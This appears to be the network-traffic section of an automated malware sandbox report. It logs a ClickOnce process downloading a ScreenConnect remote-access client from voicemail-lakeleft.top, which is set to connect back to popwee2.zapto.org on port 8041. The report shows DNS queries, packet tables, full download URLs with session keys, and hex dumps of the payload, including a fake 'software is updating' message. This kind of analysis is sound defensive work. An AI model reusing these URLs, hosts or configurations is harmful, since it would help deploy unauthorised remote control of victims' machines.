Nov 8, 2024 11:09:46.233032942 CET	49851	8041	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:46.237824917 CET	8041	49851	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:46.238476038 CET	49851	8041	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:47.670515060 CET	49851	8041	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:47.675381899 CET	8041	49851	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:47.916107893 CET	8041	49851	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:47.948199034 CET	49851	8041	192.168.2.7	194.59.30.201
Nov 8, 2024 11:09:47.953064919 CET	8041	49851	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:48.187362909 CET	8041	49851	194.59.30.201	192.168.2.7
Nov 8, 2024 11:09:48.291598082 CET	49851	8041	192.168.2.7	194.59.30.201
Nov 8, 2024 11:10:18.213934898 CET	49851	8041	192.168.2.7	194.59.30.201
Nov 8, 2024 11:10:18.218858004 CET	8041	49851	194.59.30.201	192.168.2.7
Nov 8, 2024 11:10:18.452091932 CET	8041	49851	194.59.30.201	192.168.2.7
Nov 8, 2024 11:10:18.495121956 CET	49851	8041	192.168.2.7	194.59.30.201
Nov 8, 2024 11:10:48.464467049 CET	49851	8041	192.168.2.7	194.59.30.201
Nov 8, 2024 11:10:48.469583035 CET	8041	49851	194.59.30.201	192.168.2.7
Nov 8, 2024 11:10:48.704150915 CET	8041	49851	194.59.30.201	192.168.2.7
Nov 8, 2024 11:10:48.745438099 CET	49851	8041	192.168.2.7	194.59.30.201
Nov 8, 2024 11:11:18.730514050 CET	49851	8041	192.168.2.7	194.59.30.201
Nov 8, 2024 11:11:18.735749960 CET	8041	49851	194.59.30.201	192.168.2.7
Nov 8, 2024 11:11:18.969363928 CET	8041	49851	194.59.30.201	192.168.2.7
Nov 8, 2024 11:11:19.011524916 CET	49851	8041	192.168.2.7	194.59.30.201
Nov 8, 2024 11:11:48.980528116 CET	49851	8041	192.168.2.7	194.59.30.201
Nov 8, 2024 11:11:48.985820055 CET	8041	49851	194.59.30.201	192.168.2.7
Nov 8, 2024 11:11:49.219935894 CET	8041	49851	194.59.30.201	192.168.2.7
Nov 8, 2024 11:11:49.277376890 CET	49851	8041	192.168.2.7	194.59.30.201
Nov 8, 2024 11:12:19.238533020 CET	49851	8041	192.168.2.7	194.59.30.201
Nov 8, 2024 11:12:19.507050037 CET	8041	49851	194.59.30.201	192.168.2.7
Nov 8, 2024 11:12:19.740705967 CET	8041	49851	194.59.30.201	192.168.2.7
Nov 8, 2024 11:12:19.793293953 CET	49851	8041	192.168.2.7	194.59.30.201

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 8, 2024 11:09:18.592256069 CET	62765	53	192.168.2.7	1.1.1.1
Nov 8, 2024 11:09:18.953244925 CET	53	62765	1.1.1.1	192.168.2.7
Nov 8, 2024 11:09:19.942661047 CET	61941	53	192.168.2.7	1.1.1.1
Nov 8, 2024 11:09:46.195241928 CET	55362	53	192.168.2.7	1.1.1.1
Nov 8, 2024 11:09:46.203769922 CET	53	55362	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 8, 2024 11:09:18.592256069 CET	192.168.2.7	1.1.1.1	0x2f43	Standard query (0)	voicemail-lakeleft.top	A (IP address)	IN (0x0001)	false
Nov 8, 2024 11:09:19.942661047 CET	192.168.2.7	1.1.1.1	0x5699	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Nov 8, 2024 11:09:46.195241928 CET	192.168.2.7	1.1.1.1	0x5223	Standard query (0)	popwee2.zapto.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 8, 2024 11:09:18.953244925 CET	1.1.1.1	192.168.2.7	0x2f43	No error (0)	voicemail-lakeleft.top		194.59.30.201	A (IP address)	IN (0x0001)	false
Nov 8, 2024 11:09:19.952583075 CET	1.1.1.1	192.168.2.7	0x5699	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 11:09:22.872977018 CET	1.1.1.1	192.168.2.7	0x83ce	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 8, 2024 11:09:22.872977018 CET	1.1.1.1	192.168.2.7	0x83ce	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 8, 2024 11:09:23.546679974 CET	1.1.1.1	192.168.2.7	0xc1b5	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 11:09:23.546679974 CET	1.1.1.1	192.168.2.7	0xc1b5	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 8, 2024 11:09:24.995965958 CET	1.1.1.1	192.168.2.7	0x45b7	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 8, 2024 11:09:24.995965958 CET	1.1.1.1	192.168.2.7	0x45b7	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 8, 2024 11:09:46.203769922 CET	1.1.1.1	192.168.2.7	0x5223	No error (0)	popwee2.zapto.org		194.59.30.201	A (IP address)	IN (0x0001)	false
Nov 8, 2024 11:10:13.118474007 CET	1.1.1.1	192.168.2.7	0x7f5b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 8, 2024 11:10:13.118474007 CET	1.1.1.1	192.168.2.7	0x7f5b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

voicemail-lakeleft.top

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49706	194.59.30.201	443	2628	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:09:19 UTC	635	OUT	GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip Connection: Keep-Alive
2024-11-08 10:09:20 UTC	251	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 117980 Content-Type: application/x-ms-application; charset=utf-8 Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:09:20 GMT Connection: close
2024-11-08 10:09:20 UTC	16133	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 61 73 6d 76 31 3a 61 73 73 65 6d 62 6c 79 20 78 73 69 3a 73 63 68 65 6d 61 4c 6f 63 61 74 69 6f 6e 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 31 20 61 73 73 65 6d 62 6c 79 2e 61 64 61 70 74 69 76 65 2e 78 73 64 22 20 6d 61 6e 69 66 65 73 74 56 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 78 6d 6c 6e 73 3a 61 73 6d 76 31 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 31 22 20 78 6d 6c 6e 73 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 32 22 20 78 6d 6c 6e 73 3a 61 73 6d 76 32 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv2=
2024-11-08 10:09:20 UTC	16384	IN	Data Raw: 47 6c 69 52 47 38 79 66 59 52 6f 64 77 71 45 6c 46 44 4c 68 4b 54 47 45 6b 53 6b 48 75 45 45 6c 4f 31 6d 42 49 59 67 77 51 54 4d 39 72 37 45 35 69 6e 4a 52 53 58 55 49 59 55 79 31 33 46 46 43 58 6b 4e 52 56 67 42 49 49 56 64 59 61 51 46 57 34 36 48 68 59 43 77 4a 63 57 48 61 72 43 46 67 30 41 33 42 5a 69 6a 54 45 5a 37 35 39 53 47 39 4a 2f 42 78 37 6a 76 49 67 65 76 55 2b 52 48 6d 39 47 32 52 37 6f 79 66 6f 65 77 58 79 75 48 77 39 4f 45 53 42 36 7a 43 6f 67 4a 72 39 62 49 45 39 4b 4f 79 46 4a 6c 31 59 68 45 58 59 63 49 74 50 52 58 43 4c 58 66 4a 4d 69 37 52 32 79 49 75 4c 43 75 53 4b 59 33 42 51 6a 4e 43 7a 2b 49 2f 2b 4a 57 79 52 67 6f 57 67 6b 77 6a 5a 75 4a 47 48 4c 62 69 51 6a 30 32 38 6b 68 48 35 7a 4a 4c 4a 32 74 43 54 42 31 6d 59 6c 66 59 4e 57 4a Data Ascii: GliRG8yfYRodwqElFDLhKTGEkSkHuEElO1mBIYgwQTM9r7E5inJRSXUIYUy13FFCXkNRVgBIIVdYaQFW46HhYCwJcWHarCFg0A3BZijTEZ759SG9J/Bx7jvIgevU+RHm9G2R7oyfoewXyuHw9OESB6zCogJr9bIE9KOyFJl1YhEXYcItPRXCLXfJMi7R2yIuLCuSKY3BQjNCz+I/+JWyRgoWgkwjZuJGHLbiQj028khH5zJLJ2tCTB1mYlfYNWJ
2024-11-08 10:09:20 UTC	16384	IN	Data Raw: 55 41 62 41 42 4e 41 47 45 41 62 67 42 68 41 47 63 41 5a 51 42 44 41 48 49 41 5a 51 42 6b 41 47 55 41 62 67 42 30 41 47 6b 41 59 51 42 73 41 48 4d 41 52 41 42 6c 41 48 4d 41 59 77 42 79 41 47 6b 41 63 41 42 30 41 47 6b 41 62 77 42 75 41 43 49 4e 41 41 42 45 51 77 42 76 41 47 34 41 64 41 42 79 41 47 38 41 62 41 42 51 41 47 45 41 62 67 42 6c 41 47 77 41 54 51 42 68 41 47 34 41 59 51 42 6e 41 47 55 41 51 77 42 79 41 47 55 41 5a 41 42 6c 41 47 34 41 64 41 42 70 41 47 45 41 62 41 42 7a 41 46 51 41 61 51 42 30 41 47 77 41 5a 51 42 5a 44 51 41 41 54 45 4d 41 62 77 42 75 41 48 51 41 63 67 42 76 41 47 77 41 55 41 42 68 41 47 34 41 5a 51 42 73 41 45 30 41 59 51 42 75 41 47 45 41 5a 77 42 6c 41 46 41 41 5a 51 42 79 41 48 4d 41 62 77 42 75 41 47 45 41 62 41 42 55 41 Data Ascii: UAbABNAGEAbgBhAGcAZQBDAHIAZQBkAGUAbgB0AGkAYQBsAHMARABlAHMAYwByAGkAcAB0AGkAbwBuACINAABEQwBvAG4AdAByAG8AbABQAGEAbgBlAGwATQBhAG4AYQBnAGUAQwByAGUAZABlAG4AdABpAGEAbABzAFQAaQB0AGwAZQBZDQAATEMAbwBuAHQAcgBvAGwAUABhAG4AZQBsAE0AYQBuAGEAZwBlAFAAZQByAHMAbwBuAGEAbABUA
2024-11-08 10:09:20 UTC	16384	IN	Data Raw: 41 41 5a 51 42 79 41 47 30 41 61 51 42 7a 41 48 4d 41 61 51 42 76 41 47 34 41 63 77 42 45 41 47 6b 41 59 51 42 73 41 47 38 41 5a 77 42 55 41 47 55 41 65 41 42 30 41 45 4d 41 62 77 42 75 41 48 51 41 5a 51 42 75 41 48 51 41 52 67 42 76 41 48 49 41 62 51 42 68 41 48 51 41 65 79 30 41 41 45 35 4e 41 47 45 41 59 77 42 4a 41 47 34 41 63 77 42 30 41 48 49 41 64 51 42 6a 41 48 51 41 61 51 42 76 41 47 34 41 59 51 42 73 41 45 51 41 61 51 42 68 41 47 77 41 62 77 42 6e 41 45 51 41 61 51 42 7a 41 47 30 41 61 51 42 7a 41 48 4d 41 51 67 42 31 41 48 51 41 64 41 42 76 41 47 34 41 56 41 42 6c 41 48 67 41 64 41 43 4b 4d 51 41 41 51 6b 30 41 59 51 42 6a 41 46 49 41 5a 51 42 70 41 47 34 41 63 77 42 30 41 47 45 41 62 41 42 73 41 46 55 41 62 67 42 70 41 47 34 41 63 77 42 30 41 Data Ascii: AAZQByAG0AaQBzAHMAaQBvAG4AcwBEAGkAYQBsAG8AZwBUAGUAeAB0AEMAbwBuAHQAZQBuAHQARgBvAHIAbQBhAHQAey0AAE5NAGEAYwBJAG4AcwB0AHIAdQBjAHQAaQBvAG4AYQBsAEQAaQBhAGwAbwBnAEQAaQBzAG0AaQBzAHMAQgB1AHQAdABvAG4AVABlAHgAdACKMQAAQk0AYQBjAFIAZQBpAG4AcwB0AGEAbABsAFUAbgBpAG4AcwB0A
2024-11-08 10:09:20 UTC	16384	IN	Data Raw: 4e 6f 62 32 39 7a 5a 53 42 33 61 47 6c 6a 61 43 42 73 62 32 64 76 62 69 42 7a 5a 58 4e 7a 61 57 39 75 49 48 52 76 49 47 4e 76 62 6e 52 79 62 32 77 67 62 32 34 67 64 47 68 6c 49 48 4a 6c 62 57 39 30 5a 53 42 74 59 57 4e 6f 61 57 35 6c 4c 67 45 55 55 32 56 73 5a 57 4e 30 49 45 78 76 5a 32 39 75 49 46 4e 6c 63 33 4e 70 62 32 34 42 45 56 4e 6c 62 47 56 6a 64 43 42 4e 61 57 4e 79 62 33 42 6f 62 32 35 6c 41 53 74 44 61 47 39 76 63 32 55 67 62 32 35 6c 49 47 39 79 49 47 31 76 63 6d 55 67 63 6d 56 74 62 33 52 6c 49 47 31 76 62 6d 6c 30 62 33 4a 7a 49 48 52 76 49 48 5a 70 5a 58 63 75 41 51 39 54 5a 57 78 6c 59 33 51 67 54 57 39 75 61 58 52 76 63 6e 4d 42 52 6b 4e 6f 62 32 39 7a 5a 53 42 68 49 47 78 76 64 32 56 79 49 48 46 31 59 57 78 70 64 48 6b 67 61 57 59 67 62 Data Ascii: Nob29zZSB3aGljaCBsb2dvbiBzZXNzaW9uIHRvIGNvbnRyb2wgb24gdGhlIHJlbW90ZSBtYWNoaW5lLgEUU2VsZWN0IExvZ29uIFNlc3Npb24BEVNlbGVjdCBNaWNyb3Bob25lAStDaG9vc2Ugb25lIG9yIG1vcmUgcmVtb3RlIG1vbml0b3JzIHRvIHZpZXcuAQ9TZWxlY3QgTW9uaXRvcnMBRkNob29zZSBhIGxvd2VyIHF1YWxpdHkgaWYgb
2024-11-08 10:09:20 UTC	16384	IN	Data Raw: 47 6c 6a 53 32 56 35 56 47 39 72 5a 57 34 39 59 6a 63 33 59 54 56 6a 4e 54 59 78 4f 54 4d 30 5a 54 41 34 4f 53 4e 54 65 58 4e 30 5a 57 30 75 55 6d 56 7a 62 33 56 79 59 32 56 7a 4c 6c 4a 31 62 6e 52 70 62 57 56 53 5a 58 4e 76 64 58 4a 6a 5a 56 4e 6c 64 41 49 41 41 41 41 42 41 41 41 41 41 41 41 41 41 46 42 42 52 46 42 42 52 46 43 2f 6f 32 35 66 41 41 41 41 41 4f 45 41 41 41 41 67 51 51 42 77 41 48 41 41 62 41 42 70 41 47 4d 41 59 51 42 30 41 47 6b 41 62 77 42 75 41 46 51 41 61 51 42 30 41 47 77 41 5a 51 41 41 41 41 41 41 41 54 35 54 62 32 5a 30 64 32 46 79 5a 53 42 70 63 79 42 31 63 47 52 68 64 47 6c 75 5a 79 34 75 4c 69 42 51 62 47 56 68 63 32 55 67 5a 47 38 67 62 6d 39 30 49 48 52 31 63 6d 34 67 62 32 5a 6d 49 48 6c 76 64 58 49 67 59 32 39 74 63 48 56 30 Data Ascii: GljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OSNTeXN0ZW0uUmVzb3VyY2VzLlJ1bnRpbWVSZXNvdXJjZVNldAIAAAABAAAAAAAAAFBBRFBBRFC/o25fAAAAAOEAAAAgQQBwAHAAbABpAGMAYQB0AGkAbwBuAFQAaQB0AGwAZQAAAAAAAT5Tb2Z0d2FyZSBpcyB1cGRhdGluZy4uLiBQbGVhc2UgZG8gbm90IHR1cm4gb2ZmIHlvdXIgY29tcHV0
2024-11-08 10:09:20 UTC	16384	IN	Data Raw: 6e 32 53 49 53 73 41 52 4e 32 4b 78 43 42 6f 41 2f 69 54 74 74 53 4f 77 67 2b 39 44 36 47 36 52 49 48 51 2f 79 52 43 58 67 44 50 37 4f 4b 4a 71 78 47 49 49 43 51 41 2b 32 2f 65 30 48 59 6b 65 50 42 39 43 46 33 76 6e 57 48 55 4a 48 4a 65 41 73 2f 73 34 59 6d 72 45 59 67 67 4a 41 47 36 30 34 71 68 39 71 7a 6d 45 37 69 64 6c 53 32 41 45 48 4a 68 62 63 54 5a 69 63 51 49 4e 59 4a 36 4c 77 62 51 64 6c 78 2f 38 48 6b 4b 50 69 67 58 78 64 4a 62 79 64 78 45 77 6a 56 69 63 51 41 50 41 73 71 58 76 61 53 64 43 51 58 67 39 68 45 36 4c 78 58 43 6d 65 42 6c 48 64 41 4a 75 66 68 39 6a 49 78 59 6e 30 41 42 32 6d 55 52 58 2b 6e 35 68 35 50 4d 7a 46 49 78 42 38 54 4b 4f 2b 41 53 38 39 54 61 2b 52 69 78 4f 6f 41 48 4d 6e 6a 76 33 32 68 45 62 34 6f 50 48 6e 64 44 72 42 57 4e Data Ascii: n2SISsARN2KxCBoA/iTttSOwg+9D6G6RIHQ/yRCXgDP7OKJqxGIICQA+2/e0HYkePB9CF3vnWHUJHJeAs/s4YmrEYggJAG604qh9qzmE7idlS2AEHJhbcTZicQINYJ6LwbQdlx/8HkKPigXxdJbydxEwjVicQAPAsqXvaSdCQXg9hE6LxXCmeBlHdAJufh9jIxYn0AB2mURX+n5h5PMzFIxB8TKO+AS89Ta+RixOoAHMnjv32hEb4oPHndDrBWN
2024-11-08 10:09:20 UTC	3543	IN	Data Raw: 79 76 67 75 4a 45 58 51 41 41 4b 59 31 45 44 4b 75 66 68 6c 68 49 71 67 41 51 51 77 71 57 6b 63 39 2b 4f 58 45 5a 6f 45 44 53 43 41 53 51 32 6b 48 45 4d 58 6b 69 4a 6f 41 41 46 4d 36 67 72 63 37 30 4a 36 71 77 67 61 41 41 47 63 36 77 72 63 37 30 4a 36 61 42 49 30 41 41 49 34 31 30 44 4b 2b 43 36 6b 56 34 34 6e 67 41 41 6d 4e 59 30 6a 76 67 76 70 30 50 45 45 45 4d 41 6b 70 6e 47 4d 59 52 66 53 73 75 4d 4a 49 49 42 4a 58 49 48 48 73 41 76 70 32 50 45 45 45 4d 41 6b 72 73 42 6a 36 45 49 79 69 42 4a 41 41 4a 4d 61 53 42 6d 2f 43 38 6b 67 53 67 41 42 54 48 49 67 5a 66 77 75 4a 49 4d 6f 41 51 51 77 79 57 6b 63 4b 37 30 41 76 6d 38 51 4a 51 41 43 4f 4e 63 30 6a 6e 76 68 58 55 68 71 73 41 41 45 4d 4b 6b 72 38 47 70 38 46 35 49 61 4c 41 41 42 7a 48 55 37 74 33 51 Data Ascii: yvguJEXQAAKY1EDKufhlhIqgAQQwqWkc9+OXEZoEDSCASQ2kHEMXkiJoAAFM6grc70J6qwgaAAGc6wrc70J6aBI0AAI410DK+C6kV44ngAAmNY0jvgvp0PEEEMAkpnGMYRfSsuMJIIBJXIHHsAvp2PEEEMAkrsBj6EIyiBJAAJMaSBm/C8kgSgABTHIgZfwuJIMoAQQwyWkcK70Avm8QJQACONc0jnvhXUhqsAAEMKkr8Gp8F5IaLAABzHU7t3Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49708	194.59.30.201	443	2628	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:09:22 UTC	104	OUT	GET /Bin/ScreenConnect.Client.manifest HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip
2024-11-08 10:09:22 UTC	216	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 17866 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:09:22 GMT Connection: close
2024-11-08 10:09:22 UTC	16168	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 61 73 6d 76 31 3a 61 73 73 65 6d 62 6c 79 20 78 73 69 3a 73 63 68 65 6d 61 4c 6f 63 61 74 69 6f 6e 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 31 20 61 73 73 65 6d 62 6c 79 2e 61 64 61 70 74 69 76 65 2e 78 73 64 22 20 6d 61 6e 69 66 65 73 74 56 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 78 6d 6c 6e 73 3a 61 73 6d 76 31 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 31 22 20 78 6d 6c 6e 73 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 32 22 20 78 6d 6c 6e 73 3a 61 73 6d 76 Data Ascii: <?xml version="1.0" encoding="utf-8"?><asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv
2024-11-08 10:09:22 UTC	1698	IN	Data Raw: 32 71 32 41 53 34 2b 6a 57 75 66 63 78 34 64 79 74 35 42 69 67 32 4d 45 6a 52 30 65 7a 6f 51 39 75 6f 36 74 74 6d 41 61 44 47 37 64 71 5a 79 33 53 76 55 51 61 6b 68 43 42 6a 37 41 37 43 64 66 48 6d 7a 4a 61 77 76 39 71 59 46 53 4c 53 63 47 54 37 65 47 30 58 4f 42 76 36 79 62 35 6a 4e 57 79 2b 54 67 51 35 75 72 4f 6b 66 57 2b 30 2f 74 76 6b 32 45 30 58 4c 79 54 52 53 69 44 4e 69 70 6d 4b 46 2b 77 63 38 36 4c 4a 69 55 47 73 6f 50 55 58 50 59 56 47 55 7a 74 59 75 42 65 4d 2f 4c 6f 36 4f 77 4b 70 37 41 44 4b 35 47 79 4e 6e 6d 2b 39 36 30 49 48 6e 57 6d 5a 63 79 37 34 30 68 51 38 33 65 52 47 76 37 62 55 4b 4a 47 79 47 46 59 6d 50 56 38 41 68 59 38 67 79 69 74 4f 59 62 73 31 4c 63 4e 55 39 44 34 52 2b 5a 31 4d 49 33 73 4d 4a 4e 32 46 4b 5a 62 53 31 31 30 59 55 Data Ascii: 2q2AS4+jWufcx4dyt5Big2MEjR0ezoQ9uo6ttmAaDG7dqZy3SvUQakhCBj7A7CdfHmzJawv9qYFSLScGT7eG0XOBv6yb5jNWy+TgQ5urOkfW+0/tvk2E0XLyTRSiDNipmKF+wc86LJiUGsoPUXPYVGUztYuBeM/Lo6OwKp7ADK5GyNnm+960IHnWmZcy740hQ83eRGv7bUKJGyGFYmPV8AhY8gyitOYbs1LcNU9D4R+Z1MI3sMJN2FKZbS110YU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49730	194.59.30.201	443	2628	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:09:27 UTC	106	OUT	GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip
2024-11-08 10:09:27 UTC	216	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 95520 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:09:26 GMT Connection: close
2024-11-08 10:09:27 UTC	16168	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f8 10 28 a3 bc 71 46 f0 bc 71 46 f0 bc 71 46 f0 08 ed b7 f0 b6 71 46 f0 08 ed b5 f0 c6 71 46 f0 08 ed b4 f0 a4 71 46 f0 3c 0a 42 f1 ad 71 46 f0 3c 0a 45 f1 a8 71 46 f0 3c 0a 43 f1 96 71 46 f0 b5 09 d5 f0 b6 71 46 f0 a2 23 d5 f0 bf 71 46 f0 bc 71 47 f0 cc 71 46 f0 32 0a 4f f1 bd 71 46 f0 32 0a b9 f0 bd 71 46 f0 32 0a 44 f1 bd 71 46 f0 52 69 63 68 bc 71 46 f0 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$(qFqFqFqFqFqF<BqF<EqF<CqFqF#qFqGqF2OqF2qF2DqFRichqF
2024-11-08 10:09:27 UTC	16384	IN	Data Raw: 75 08 85 f6 74 0c 8b ce ff 15 88 d1 40 00 ff d6 eb 06 ff 15 e4 d0 40 00 5e 5d c3 55 8b ec 56 68 90 dd 40 00 68 88 dd 40 00 68 90 dd 40 00 6a 03 e8 4a fe ff ff 83 c4 10 8b f0 ff 75 0c ff 75 08 85 f6 74 0c 8b ce ff 15 88 d1 40 00 ff d6 eb 06 ff 15 e8 d0 40 00 5e 5d c3 55 8b ec 56 68 a4 dd 40 00 68 9c dd 40 00 68 a4 dd 40 00 6a 04 e8 0c fe ff ff 8b f0 83 c4 10 85 f6 74 15 ff 75 10 8b ce ff 75 0c ff 75 08 ff 15 88 d1 40 00 ff d6 eb 0c ff 75 0c ff 75 08 ff 15 60 d0 40 00 5e 5d c3 56 e8 56 ed ff ff 8b 70 04 85 f6 74 0a 8b ce ff 15 88 d1 40 00 ff d6 e8 de 15 00 00 cc 55 8b ec 8b 45 10 8b 4d 08 81 78 04 80 00 00 00 7f 06 0f be 41 08 5d c3 8b 41 08 5d c3 55 8b ec 8b 45 08 8b 4d 10 89 48 08 5d c3 53 51 bb 30 40 41 00 e9 0f 00 00 00 cc cc cc cc 53 51 bb 30 40 41 00 Data Ascii: ut@@^]UVh@h@h@jJuut@@^]UVh@h@h@jtuuu@uu`@^]VVpt@UEMxA]A]UEMH]SQ0@ASQ0@A
2024-11-08 10:09:27 UTC	16384	IN	Data Raw: ff 01 8b 88 80 00 00 00 85 c9 74 03 f0 ff 01 8b 88 8c 00 00 00 85 c9 74 03 f0 ff 01 56 6a 06 8d 48 28 5e 81 79 f8 38 46 41 00 74 09 8b 11 85 d2 74 03 f0 ff 02 83 79 f4 00 74 0a 8b 51 fc 85 d2 74 03 f0 ff 02 83 c1 10 83 ee 01 75 d6 ff b0 9c 00 00 00 e8 4e 01 00 00 59 5e 5d c3 8b ff 55 8b ec 51 53 56 8b 75 08 57 8b 86 88 00 00 00 85 c0 74 6c 3d 48 46 41 00 74 65 8b 46 7c 85 c0 74 5e 83 38 00 75 59 8b 86 84 00 00 00 85 c0 74 18 83 38 00 75 13 50 e8 30 d9 ff ff ff b6 88 00 00 00 e8 28 fb ff ff 59 59 8b 86 80 00 00 00 85 c0 74 18 83 38 00 75 13 50 e8 0e d9 ff ff ff b6 88 00 00 00 e8 04 fc ff ff 59 59 ff 76 7c e8 f9 d8 ff ff ff b6 88 00 00 00 e8 ee d8 ff ff 59 59 8b 86 8c 00 00 00 85 c0 74 45 83 38 00 75 40 8b 86 90 00 00 00 2d fe 00 00 00 50 e8 cc d8 ff ff 8b Data Ascii: ttVjH(^y8FAttytQtuNY^]UQSVuWtl=HFAteF\|t^8uYt8uP0(YYt8uPYYv\|YYtE8u@-P
